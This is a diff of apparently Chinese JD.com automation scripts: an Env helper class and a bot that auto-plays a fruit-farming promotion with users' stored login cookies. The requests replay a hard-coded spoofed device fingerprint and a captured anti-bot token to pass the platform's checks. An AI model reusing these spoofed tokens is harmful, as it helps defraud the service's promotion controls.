hints: false - }) - } - $task.fetch(opts).then( - (resp) => { - const { - statusCode: status, - statusCode, - headers, - body - } = resp - callback(null, { - status, - statusCode, - headers, - body - }, body) - }, - (err) => callback(err) - ) - } else if (this.isNode()) { - this.initGotEnv(opts) - this.got(opts) - .on('redirect', (resp, nextOpts) => { - try { - if (resp.headers['set-cookie']) { - const ck = resp.headers['set-cookie'].map(this.cktough.Cookie.parse).toString() - if (ck) { - this.ckjar.setCookieSync(ck, null) - } - nextOpts.cookieJar = this.ckjar - } - } catch (e) { - this.logErr(e) - } - // this.ckjar.setCookieSync(resp.headers['set-cookie'].map(Cookie.parse).toString()) - }) - .then( - (resp) => { - const { - statusCode: status, - statusCode, - headers, - body - } = resp - callback(null, { - status, - statusCode, - headers, - body - }, body) - }, - (err) => { - const { - message: error, - response: resp - } = err - callback(error, resp, resp && resp.body) - } - ) - } - } + get(opts, callback = () => { }) { + if (opts.headers) { + delete opts.headers['Content-Type'] + delete opts.headers['Content-Length'] + } + if (this.isSurge() || this.isLoon()) { + if (this.isSurge() && this.isNeedRewrite) { + opts.headers = opts.headers || {} + Object.assign(opts.headers, { + 'X-Surge-Skip-Scripting': false + }) + } + $httpClient.get(opts, (err, resp, body) => { + if (!err && resp) { + resp.body = body + resp.statusCode = resp.status + } + callback(err, resp, body) + }) + } else if (this.isQuanX()) { + if (this.isNeedRewrite) { + opts.opts = opts.opts || {} + Object.assign(opts.opts, { + hints: false + }) + } + $task.fetch(opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => callback(err) + ) + } else if (this.isNode()) { + this.initGotEnv(opts) + this.got(opts) + .on('redirect', (resp, nextOpts) => { + try { + if (resp.headers['set-cookie']) { + const ck = resp.headers['set-cookie'].map(this.cktough.Cookie.parse).toString() + if (ck) { + this.ckjar.setCookieSync(ck, null) + } + nextOpts.cookieJar = this.ckjar + } + } catch (e) { + this.logErr(e) + } + // this.ckjar.setCookieSync(resp.headers['set-cookie'].map(Cookie.parse).toString()) + }) + .then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => { + const { + message: error, + response: resp + } = err + callback(error, resp, resp && resp.body) + } + ) + } + } - post(opts, callback = () => { }) { - // 如果指定了请求体, 但没指定`Content-Type`, 则自动生成 - if (opts.body && opts.headers && !opts.headers['Content-Type']) { - opts.headers['Content-Type'] = 'application/x-www-form-urlencoded' - } - if (opts.headers) delete opts.headers['Content-Length'] - if (this.isSurge() || this.isLoon()) { - if (this.isSurge() && this.isNeedRewrite) { - opts.headers = opts.headers || {} - Object.assign(opts.headers, { - 'X-Surge-Skip-Scripting': false - }) - } - $httpClient.post(opts, (err, resp, body) => { - if (!err && resp) { - resp.body = body - resp.statusCode = resp.status - } - callback(err, resp, body) - }) - } else if (this.isQuanX()) { - opts.method = 'POST' - if (this.isNeedRewrite) { - opts.opts = opts.opts || {} - Object.assign(opts.opts, { - hints: false - }) - } - $task.fetch(opts).then( - (resp) => { - const { - statusCode: status, - statusCode, - headers, - body - } = resp - callback(null, { - status, - statusCode, - headers, - body - }, body) - }, - (err) => callback(err) - ) - } else if (this.isNode()) { - this.initGotEnv(opts) - const { - url, - ..._opts - } = opts - this.got.post(url, _opts).then( - (resp) => { - const { - statusCode: status, - statusCode, - headers, - body - } = resp - callback(null, { - status, - statusCode, - headers, - body - }, body) - }, - (err) => { - const { - message: error, - response: resp - } = err - callback(error, resp, resp && resp.body) - } - ) - } - } - /** - * - * 示例:$.time('yyyy-MM-dd qq HH:mm:ss.S') - * :$.time('yyyyMMddHHmmssS') - * y:年 M:月 d:日 q:季 H:时 m:分 s:秒 S:毫秒 - * 其中y可选0-4位占位符、S可选0-1位占位符,其余可选0-2位占位符 - * @param {*} fmt 格式化参数 - * - */ - time(fmt) { - let o = { - 'M+': new Date().getMonth() + 1, - 'd+': new Date().getDate(), - 'H+': new Date().getHours(), - 'm+': new Date().getMinutes(), - 's+': new Date().getSeconds(), - 'q+': Math.floor((new Date().getMonth() + 3) / 3), - 'S': new Date().getMilliseconds() - } - if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - RegExp.$1.length)) - for (let k in o) - if (new RegExp('(' + k + ')').test(fmt)) - fmt = fmt.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ('00' + o[k]).substr(('' + o[k]).length)) - return fmt - } + post(opts, callback = () => { }) { + // 如果指定了请求体, 但没指定`Content-Type`, 则自动生成 + if (opts.body && opts.headers && !opts.headers['Content-Type']) { + opts.headers['Content-Type'] = 'application/x-www-form-urlencoded' + } + if (opts.headers) delete opts.headers['Content-Length'] + if (this.isSurge() || this.isLoon()) { + if (this.isSurge() && this.isNeedRewrite) { + opts.headers = opts.headers || {} + Object.assign(opts.headers, { + 'X-Surge-Skip-Scripting': false + }) + } + $httpClient.post(opts, (err, resp, body) => { + if (!err && resp) { + resp.body = body + resp.statusCode = resp.status + } + callback(err, resp, body) + }) + } else if (this.isQuanX()) { + opts.method = 'POST' + if (this.isNeedRewrite) { + opts.opts = opts.opts || {} + Object.assign(opts.opts, { + hints: false + }) + } + $task.fetch(opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => callback(err) + ) + } else if (this.isNode()) { + this.initGotEnv(opts) + const { + url, + ..._opts + } = opts + this.got.post(url, _opts).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body + } = resp + callback(null, { + status, + statusCode, + headers, + body + }, body) + }, + (err) => { + const { + message: error, + response: resp + } = err + callback(error, resp, resp && resp.body) + } + ) + } + } + /** + * + * 示例:$.time('yyyy-MM-dd qq HH:mm:ss.S') + * :$.time('yyyyMMddHHmmssS') + * y:年 M:月 d:日 q:季 H:时 m:分 s:秒 S:毫秒 + * 其中y可选0-4位占位符、S可选0-1位占位符,其余可选0-2位占位符 + * @param {*} fmt 格式化参数 + * + */ + time(fmt) { + let o = { + 'M+': new Date().getMonth() + 1, + 'd+': new Date().getDate(), + 'H+': new Date().getHours(), + 'm+': new Date().getMinutes(), + 's+': new Date().getSeconds(), + 'q+': Math.floor((new Date().getMonth() + 3) / 3), + 'S': new Date().getMilliseconds() + } + if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - RegExp.$1.length)) + for (let k in o) + if (new RegExp('(' + k + ')').test(fmt)) + fmt = fmt.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ('00' + o[k]).substr(('' + o[k]).length)) + return fmt + } - /** - * 系统通知 - * - * > 通知参数: 同时支持 QuanX 和 Loon 两种格式, EnvJs根据运行环境自动转换, Surge 环境不支持多媒体通知 - * - * 示例: - * $.msg(title, subt, desc, 'twitter://') - * $.msg(title, subt, desc, { 'open-url': 'twitter://', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) - * $.msg(title, subt, desc, { 'open-url': 'https://bing.com', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) - * - * @param {*} title 标题 - * @param {*} subt 副标题 - * @param {*} desc 通知详情 - * @param {*} opts 通知参数 - * - */ - msg(title = name, subt = '', desc = '', opts) { - const toEnvOpts = (rawopts) => { - if (!rawopts) return rawopts - if (typeof rawopts === 'string') { - if (this.isLoon()) return rawopts - else if (this.isQuanX()) return { - 'open-url': rawopts - } - else if (this.isSurge()) return { - url: rawopts - } - else return undefined - } else if (typeof rawopts === 'object') { - if (this.isLoon()) { - let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] - let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] - return { - openUrl, - mediaUrl - } - } else if (this.isQuanX()) { - let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl - let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl - return { - 'open-url': openUrl, - 'media-url': mediaUrl - } - } else if (this.isSurge()) { - let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] - return { - url: openUrl - } - } - } else { - return undefined - } - } - if (!this.isMute) { - if (this.isSurge() || this.isLoon()) { - $notification.post(title, subt, desc, toEnvOpts(opts)) - } else if (this.isQuanX()) { - $notify(title, subt, desc, toEnvOpts(opts)) - } - } - if (!this.isMuteLog) { - let logs = ['', '==============📣系统通知📣=============='] - logs.push(title) - subt ? logs.push(subt) : '' - desc ? logs.push(desc) : '' - console.log(logs.join('\n')) - this.logs = this.logs.concat(logs) - } - } + /** + * 系统通知 + * + * > 通知参数: 同时支持 QuanX 和 Loon 两种格式, EnvJs根据运行环境自动转换, Surge 环境不支持多媒体通知 + * + * 示例: + * $.msg(title, subt, desc, 'twitter://') + * $.msg(title, subt, desc, { 'open-url': 'twitter://', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) + * $.msg(title, subt, desc, { 'open-url': 'https://bing.com', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) + * + * @param {*} title 标题 + * @param {*} subt 副标题 + * @param {*} desc 通知详情 + * @param {*} opts 通知参数 + * + */ + msg(title = name, subt = '', desc = '', opts) { + const toEnvOpts = (rawopts) => { + if (!rawopts) return rawopts + if (typeof rawopts === 'string') { + if (this.isLoon()) return rawopts + else if (this.isQuanX()) return { + 'open-url': rawopts + } + else if (this.isSurge()) return { + url: rawopts + } + else return undefined + } else if (typeof rawopts === 'object') { + if (this.isLoon()) { + let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] + let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] + return { + openUrl, + mediaUrl + } + } else if (this.isQuanX()) { + let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl + let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl + return { + 'open-url': openUrl, + 'media-url': mediaUrl + } + } else if (this.isSurge()) { + let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] + return { + url: openUrl + } + } + } else { + return undefined + } + } + if (!this.isMute) { + if (this.isSurge() || this.isLoon()) { + $notification.post(title, subt, desc, toEnvOpts(opts)) + } else if (this.isQuanX()) { + $notify(title, subt, desc, toEnvOpts(opts)) + } + } + if (!this.isMuteLog) { + let logs = ['', '==============📣系统通知📣=============='] + logs.push(title) + subt ? logs.push(subt) : '' + desc ? logs.push(desc) : '' + console.log(logs.join('\n')) + this.logs = this.logs.concat(logs) + } + } - log(...logs) { - if (logs.length > 0) { - this.logs = [...this.logs, ...logs] - } - console.log(logs.join(this.logSeparator)) - } + log(...logs) { + if (logs.length > 0) { + this.logs = [...this.logs, ...logs] + } + console.log(logs.join(this.logSeparator)) + } - logErr(err, msg) { - const isPrintSack = !this.isSurge() && !this.isQuanX() && !this.isLoon() - if (!isPrintSack) { - this.log('', `❗️${this.name}, 错误!`, err) - } else { - this.log('', `❗️${this.name}, 错误!`, err.stack) - } - } + logErr(err, msg) { + const isPrintSack = !this.isSurge() && !this.isQuanX() && !this.isLoon() + if (!isPrintSack) { + this.log('', `❗️${this.name}, 错误!`, err) + } else { + this.log('', `❗️${this.name}, 错误!`, err.stack) + } + } - wait(time) { - return new Promise((resolve) => setTimeout(resolve, time)) - } + wait(time) { + return new Promise((resolve) => setTimeout(resolve, time)) + } - done(val = {}) { - const endTime = new Date().getTime() - const costTime = (endTime - this.startTime) / 1000 - this.log('', `🔔${this.name}, 结束! 🕛 ${costTime} 秒`) - this.log() - if (this.isSurge() || this.isQuanX() || this.isLoon()) { - $done(val) - } - } - })(name, opts) + done(val = {}) { + const endTime = new Date().getTime() + const costTime = (endTime - this.startTime) / 1000 + this.log('', `🔔${this.name}, 结束! 🕛 ${costTime} 秒`) + this.log() + if (this.isSurge() || this.isQuanX() || this.isLoon()) { + $done(val) + } + } + })(name, opts) } \ No newline at end of file diff --git a/jd_wsdlb.js b/jd_wsdlb.js index 2c945a4..9dfff70 100755 --- a/jd_wsdlb.js +++ b/jd_wsdlb.js @@ -1,14 +1,16 @@ /* + [task_local] 入口 极速版 赚金币 种水果 #柠檬我是大老板农场 -cron 5 0-23/6 * * * jd_wsdlb.js -panghu999 export dlbtz="true" //通知打开 + export dlbtz="false" //通知关闭 + 5 0-23/6 * * * http://nm66.top/jd_wsdlb.js, tag=柠檬我是大老板农场, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true */ + const $ = new Env('柠檬我是大老板农场'); const notify = $.isNode() ? require('./sendNotify') : ''; //Node.js用户请在jdCookie.js处填写京东ck; @@ -17,176 +19,174 @@ const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; //IOS等用户直接用NobyDa的jd cookie let cookiesArr = [], cookie = '', message; let allMessage = ''; -let dlbtz = true; //通知开关 -if (process.env.dlbtz) { - dlbtz = process.env.dlbtz; +let dlbtz = false; //通知开关 +if ($.isNode() && process.env.dlbtz) { + dlbtz = process.env.dlbtz; } if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if ($.isNode() && process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; } else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); } const JD_API_HOST = 'https://api.m.jd.com/client.action'; !(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - ck2 = cookiesArr[Math.round(Math.random() * 5)]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - - - await jdFruit() - + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + ck2 = cookiesArr[Math.round(Math.random()*5)]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); } + continue + } + + + await jdFruit() + + + } - if ($.isNode() && allMessage) { - await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}` ) } })() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) async function jdFruit() { - - await info() - await dolist() - await apCollectWater() - if ($.info.data.firstJoinFlag === true) { - $.log("您忘了种植新的水果,快打开极速版种植吧") - if (dlbtz == true) { - allMessage += `京东账号${$.index}-${$.nickName || $.UserName}\n您忘了种植新的水果,内侧入口为:\nhttp://a8pck.cn/VbjDm${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`; - } - } else if ($.info.data.firstJoinFlag === false) { - + + await info() + await dolist() + await apCollectWater() +if ($.info.data.firstJoinFlag === true) { + $.log("您忘了种植新的水果,快打开极速版种植吧") +if(dlbtz == true){ + allMessage += `京东账号${$.index}-${$.nickName || $.UserName}\n您忘了种植新的水果,内侧入口为:\nhttp://a8pck.cn/VbjDm${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`;} +}else if ($.info.data.firstJoinFlag === false) { + console.log(`\n当前种植水果:${$.info.data.plantInfo[0].cropName}\n当前阶段: ${$.info.data.plantInfo[0].nowStep}\n当前下一阶段还需要浇水:${$.info.data.plantInfo[0].upgradeWateringNum}次`) - if ($.info.data.plantInfo[0].nowStep == 4) { - allMessage += `京东账号${$.index}-${$.nickName || $.UserName}\n当前种植水果可以收取了${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`; - } - await help($.info.data.encPin) - if (dlbtz == true) { - allMessage += `京东账号${$.index}-${$.nickName || $.UserName}\n当前种植水果:${$.info.data.plantInfo[0].cropName}\n当前阶段: ${$.info.data.plantInfo[0].nowStep}\n当前下一阶段还需要浇水:${$.info.data.plantInfo[0].upgradeWateringNum}次${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`; - } - if (getwat.code === 0) { - $.log(`\n领取定时水滴:${getwat.data.collectWaterNumber}`) - - } - - if ($.info.data.plantInfo[0].status == 0) { - $.log(`无需除草`) - } else - if ($.info.data.plantInfo[0].status == 1) { - $.log(`需要除草`) - await chucao($.info.data.earthInfo[0].nowPlantId, $.info.data.encPin) - if (cc.errMsg == "success") { - $.log(`除草成功`) - } else - if (cc.success == false) { - $.log(cc.errMsg) - //break - - } - } - - - if ($.do.code === 0) { - let taskList = $.do.data - for (let i = 0; i < taskList.length; i++) { - taskType = taskList[i].taskType - id = taskList[i].id - taskSourceUrl = taskList[i].taskSourceUrl - - await dotask(taskType, id, taskSourceUrl) - await dotask(taskType, id, "70511671722") - - if ($.qd.code === 2005) { - $.log(`\n${$.qd.errMsg}`) - + if($.info.data.plantInfo[0].nowStep == 4){ + allMessage += `京东账号${$.index}-${$.nickName || $.UserName}\n当前种植水果可以收取了${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`; + } + await help($.info.data.encPin) + if(dlbtz == true){ + allMessage += `京东账号${$.index}-${$.nickName || $.UserName}\n当前种植水果:${$.info.data.plantInfo[0].cropName}\n当前阶段: ${$.info.data.plantInfo[0].nowStep}\n当前下一阶段还需要浇水:${$.info.data.plantInfo[0].upgradeWateringNum}次${$.index !== cookiesArr.length ? '\n\n' : '\n\n'}`;} + if (getwat.code === 0 ){ + $.log(`\n领取定时水滴:${getwat.data.collectWaterNumber}`) + } - } - } + + if($.info.data.plantInfo[0].status == 0){ + $.log(`无需除草`) + }else + if($.info.data.plantInfo[0].status == 1){ + $.log(`需要除草`) + await chucao($.info.data.earthInfo[0].nowPlantId,$.info.data.encPin) + if(cc.errMsg == "success"){ + $.log(`除草成功`) + }else + if(cc.success == false){ + $.log(cc.errMsg) + //break + + } + } + + + if ($.do.code === 0){ + let taskList = $.do.data + for (let i = 0 ; i < taskList.length; i++){ + taskType = taskList[i].taskType + id = taskList[i].id + taskSourceUrl = taskList[i].taskSourceUrl + + await dotask(taskType,id,taskSourceUrl) + await dotask(taskType,id,"70511671722") + + if ($.qd.code === 2005 ){ + $.log(`\n${$.qd.errMsg}`) + + } + } + } + await jiaoshui($.info.data.earthInfo[0].nowPlantId) + + if (watering.success === true ){ + $.log(parseInt(watering.data.property * 0.1)) + cs = parseInt(watering.data.property * 0.1) + if (cs > 0 ){ + for (let i = 0 ; i < cs; i++){ + await $.wait(3000) await jiaoshui($.info.data.earthInfo[0].nowPlantId) - - if (watering.success === true) { - $.log(parseInt(watering.data.property * 0.1)) - cs = parseInt(watering.data.property * 0.1) - if (cs > 0) { - for (let i = 0; i < cs; i++) { - await $.wait(3000) - await jiaoshui($.info.data.earthInfo[0].nowPlantId) - if (watering.code === 20004) { - $.log(`\n浇水水滴不足,快去做任务吧`) - //break - } - - if (watering.code === 0) { - $.log(`\n${watering.data.speedFarmPlantInfo.cropName}:\n还需水滴:${watering.data.speedFarmPlantInfo.nowStepNeedWater}\n还需浇水:${watering.data.speedFarmPlantInfo.upgradeWateringNum}`) - - } - - } - - } + if (watering.code === 20004 ){ + $.log(`\n浇水水滴不足,快去做任务吧`) + //break } + if (watering.code === 0 ){ + $.log(`\n${watering.data.speedFarmPlantInfo.cropName}:\n还需水滴:${watering.data.speedFarmPlantInfo.nowStepNeedWater}\n还需浇水:${watering.data.speedFarmPlantInfo.upgradeWateringNum}`) + + } + +} + +} +} - } - + +} + } function info() { return new Promise(async (resolve) => { - let options = { - url: `https://api.m.jd.com/?functionId=apHomePage&client=android&clientVersion=10&networkType=4g&eid=eidAdbfb812246s5r1OGwmiSQMahMl6K44kkna9TiDxOncOh%2BPHjHGH7f5BaezwPsv86FnJD2KTOGF5GjpLohc8Y3tfQqJw%2F3GbroYtSX%2BYNIOYuwm4w&fp=-1&uuid=7303439343432346-7356431353233321&osVersion=10&d_brand=OPPO&d_model=PCAM00&referer=-1&agent=-1&pageClickKey=-1&screen=360*780&lang=zh_CN&eu=7303439343432346&fv=7356431353233323&body=%7B%22linkId%22%3A%22fzf6tK4xMfE2ICK4-T_iUw%22%2C%22antiToken%22%3A%22oyv0oh46u0hbqqbh2pe16232308899736l86~NmZeSyVEbFNSd3V%2BdlJdC3lwAApjRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29%2BPU9UdSYHAGlWYEJXc3F7c1VUCit8UVplX2UQUSR%2FendVWwE3JVRkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5%2BaA4UYUpmXVJwcRFmHE8ebyFTXCIBdEtBK3AhMkNBEC43FQJzVDkVBSUvLDITBVk9dg9MPQsySVYoL3gyERlAeyxNDSgDPkIEY2tvJ0NXEDQhQUs%2FUDNFDiAmdHYZFQorIgYJZ1RlQ1Bxf3V9WFoAPj1bWXNKdBUQL2V3ZhEMVzUoAV1gRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85%7C~1623230944818~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ%3D%3D~1~504~gpli%7Cdoei%3A%2C1%2C0%2C0%2C0%2C0%2C1000%2C-1000%2C1000%2C-1000%3Bdmei%3A%2C1%2C0%2C0%2C1000%2C-1000%2C1000%2C-1000%2C1000%2C-1000%3Bemc%3A%3Bemmm%3A%3Bemcf%3A%3Bivli%3A%3Biivl%3A%3Bivcvj%3A%3Bscvje%3A%3Bewhi%3A%3B1623230944718%2C1623230944817%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%3B88yh%22%2C%22frontendInitStatus%22%3A%22s%22%2C%22platform%22%3A1%7D&appid=activities_platform&t=1623230951258`, - - headers: { - "Origin": "https://thebigboss.jd.com", - "Host": "api.m.jd.com", - "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", - "Cookie": cookie, - } - } + let options = { + url: `https://api.m.jd.com/?functionId=apHomePage&client=android&clientVersion=10&networkType=4g&eid=eidAdbfb812246s5r1OGwmiSQMahMl6K44kkna9TiDxOncOh%2BPHjHGH7f5BaezwPsv86FnJD2KTOGF5GjpLohc8Y3tfQqJw%2F3GbroYtSX%2BYNIOYuwm4w&fp=-1&uuid=7303439343432346-7356431353233321&osVersion=10&d_brand=OPPO&d_model=PCAM00&referer=-1&agent=-1&pageClickKey=-1&screen=360*780&lang=zh_CN&eu=7303439343432346&fv=7356431353233323&body=%7B%22linkId%22%3A%22fzf6tK4xMfE2ICK4-T_iUw%22%2C%22antiToken%22%3A%22oyv0oh46u0hbqqbh2pe16232308899736l86~NmZeSyVEbFNSd3V%2BdlJdC3lwAApjRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29%2BPU9UdSYHAGlWYEJXc3F7c1VUCit8UVplX2UQUSR%2FendVWwE3JVRkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5%2BaA4UYUpmXVJwcRFmHE8ebyFTXCIBdEtBK3AhMkNBEC43FQJzVDkVBSUvLDITBVk9dg9MPQsySVYoL3gyERlAeyxNDSgDPkIEY2tvJ0NXEDQhQUs%2FUDNFDiAmdHYZFQorIgYJZ1RlQ1Bxf3V9WFoAPj1bWXNKdBUQL2V3ZhEMVzUoAV1gRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85%7C~1623230944818~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ%3D%3D~1~504~gpli%7Cdoei%3A%2C1%2C0%2C0%2C0%2C0%2C1000%2C-1000%2C1000%2C-1000%3Bdmei%3A%2C1%2C0%2C0%2C1000%2C-1000%2C1000%2C-1000%2C1000%2C-1000%3Bemc%3A%3Bemmm%3A%3Bemcf%3A%3Bivli%3A%3Biivl%3A%3Bivcvj%3A%3Bscvje%3A%3Bewhi%3A%3B1623230944718%2C1623230944817%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%3B88yh%22%2C%22frontendInitStatus%22%3A%22s%22%2C%22platform%22%3A1%7D&appid=activities_platform&t=1623230951258`, +headers: { +"Origin": "https://thebigboss.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", + "Cookie": cookie, + } + } + $.get(options, async (err, resp, data) => { try { - $.info = JSON.parse(data); - + $.info = JSON.parse(data); + } catch (e) { $.logErr(e, resp); } finally { @@ -198,26 +198,26 @@ function info() { -function dotask(taskType, taskId, itemId) { +function dotask(taskType,taskId,itemId) { return new Promise(async (resolve) => { - let options = { - url: `https://api.m.jd.com/?functionId=apDoTask&client=android&clientVersion=10&networkType=4g&eid=eidAdbfb812246s5r1OGwmiSQMahMl6K44kkna9TiDxOncOh+PHjHGH7f5BaezwPsv86FnJD2KTOGF5GjpLohc8Y3tfQqJw/3GbroYtSX+YNIOYuwm4w&fp=-1&uuid=7303439343432346-7356431353233321&osVersion=10&d_brand=OPPO&d_model=PCAM00&referer=-1&agent=-1&pageClickKey=-1&screen=360*780&lang=zh_CN&eu=7303439343432346&fv=7356431353233323&body={"linkId":"fzf6tK4xMfE2ICK4-T_iUw","taskType":"${taskType}","taskId":${taskId},"channel":4,"itemId":"${itemId}","antiToken":"oyv0oh46u0hbqqbh2pe16232308899736l86~NmZeSyVEbFNSd3V+dlJdC3lwAApjRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29+PU9UdSYHAGlWYEJXc3F7c1VUCit8UVplX2UQUSR/endVWwE3JVRkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EW